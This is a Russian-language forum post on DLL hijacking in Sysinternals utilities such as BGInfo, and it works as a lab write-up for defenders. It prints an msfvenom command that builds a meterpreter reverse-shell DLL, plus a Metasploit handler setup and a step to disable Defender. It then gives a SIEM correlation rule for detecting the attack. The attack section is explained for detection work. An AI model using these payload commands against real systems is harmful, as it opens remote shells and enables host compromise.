Detection is easy. DLL Hijacking в инструментах SysInternals

Добро пожаловать на наш форум!

Спасибо за посещение нашего сообщества. Пожалуйста, зарегистрируйтесь или войдите, чтобы получить доступ ко всем функциям.


Gibby

Автор
Команда проекта

Регистрация
Сообщений
1,290
Репутация
43
Сделок
Многие администраторы и SOC-аналитики активно используют инструменты из набора SysInternals. Исследователь обнаружил, что большинство этих инструментов уязвимы к загрузке вредоносных DLL в память.

Описание уязвимостей​

Уязвимость связана с загрузкой DLL из текущего рабочего каталога (CWD) инструментами Sysinternals. Для эксплуатации необходимо разместить исполняемый файл и вредоносную DLL в одной директории.

Для примера возьмем, BGinfo.exe, в оригинале статьи автор использует TextShaping.dll. Полный список уязвимых утилит доступен по ссылке.

0.png
Попытка загрузить TextShaping.dll в текущей рабочей директории (CWD)

На скриншоте выше видно, что процесс пытается загрузить TextShaping.dll в текущей рабочей директории.

Для эксперимента, отключаем Defender, включаем msfconsole, генерируем dll следующей командой.

Код:
msfvenom -p windows/x64/meterpreter_reverse_tcp lhost=192.168.0.10 lport=5555 -f dll > shell.dll

Разместим созданную DLL со скачанным BGInfo в одной папке.

1.png
Вредоносная dll и легитимный BGinfo.exe
На атакующей машине создадим handler для meterpreter.

Код:
use exploit/multi/handler
set payload windows/x64/meterpreter_reverse_tcp
set lport 5555
set lhost 192.168.0.10
run

Двойным кликом нажимаем на Bginfo64.exe и получаем reverse shell.

Некорректно настроенные права на директории, где хранятся утилиты SysInternals, могут позволить злоумышленнику записать DLL, что может привести к повышению привилегий и компрометации хоста. На скриншоте ниже демонстрация запуска Bginfo из сетевого хранилища WebDAV - эксплуатация уязвимости закончилась успешно.

2.png
Пример запуска с WebDAV

Обнаружение атаки​

Логику обнаружения напишем на языке XP.

Будем обнаруживать на основе двух событий: запуск процесса и загрузка библиотеки в память.

Код:
event CreateProcess:
    key:
        event_src.host, object.process.id, object.process.path
    filter {
        filter::NotFromCorrelator()
        and filter::ProcessStart_Windows_any()
        and regex(lower(object.process.meta), "sysinternals", 0) != null
    }

event LoadLibrary:
    key:
        event_src.host, subject.process.id, object.process.path
    filter {
        filter::NotFromCorrelator()
        msgid == 7 and event_src.title == "sysmon"
        and regex(lower(object.process.fullpath), "^\w:\\windows\\system32", 0) == null
        and in_list(["textshaping.dll", "cryptbase.dll", "mpr.dll", "cryptsp.dll"], lower(object.process.name))
    }

rule ExploitVulnSysinternals: CreateProcess -> LoadLibrary

В первой директиве event CreateProcess добавил условие, что продукт должен быть sysinternals, во второй директиве LoadLibrary - DLL должна быть расположена не в system32, ее название должно быть из списка импортируемых DLL.

Уязвимость DLL Hijacking в инструментах SysInternals представляет серьезную угрозу, так как позволяет злоумышленникам загружать вредоносные библиотеки. В заключение, важно не только понимать механизмы эксплуатации уязвимостей, но и активно внедрять эффективные методы их обнаружения. Регулярный аудит прав доступа к директориям, мониторинг запуска процессов и загрузки библиотек помогут минимизировать риски и повысить уровень защиты инфраструктуры.
 
Сверху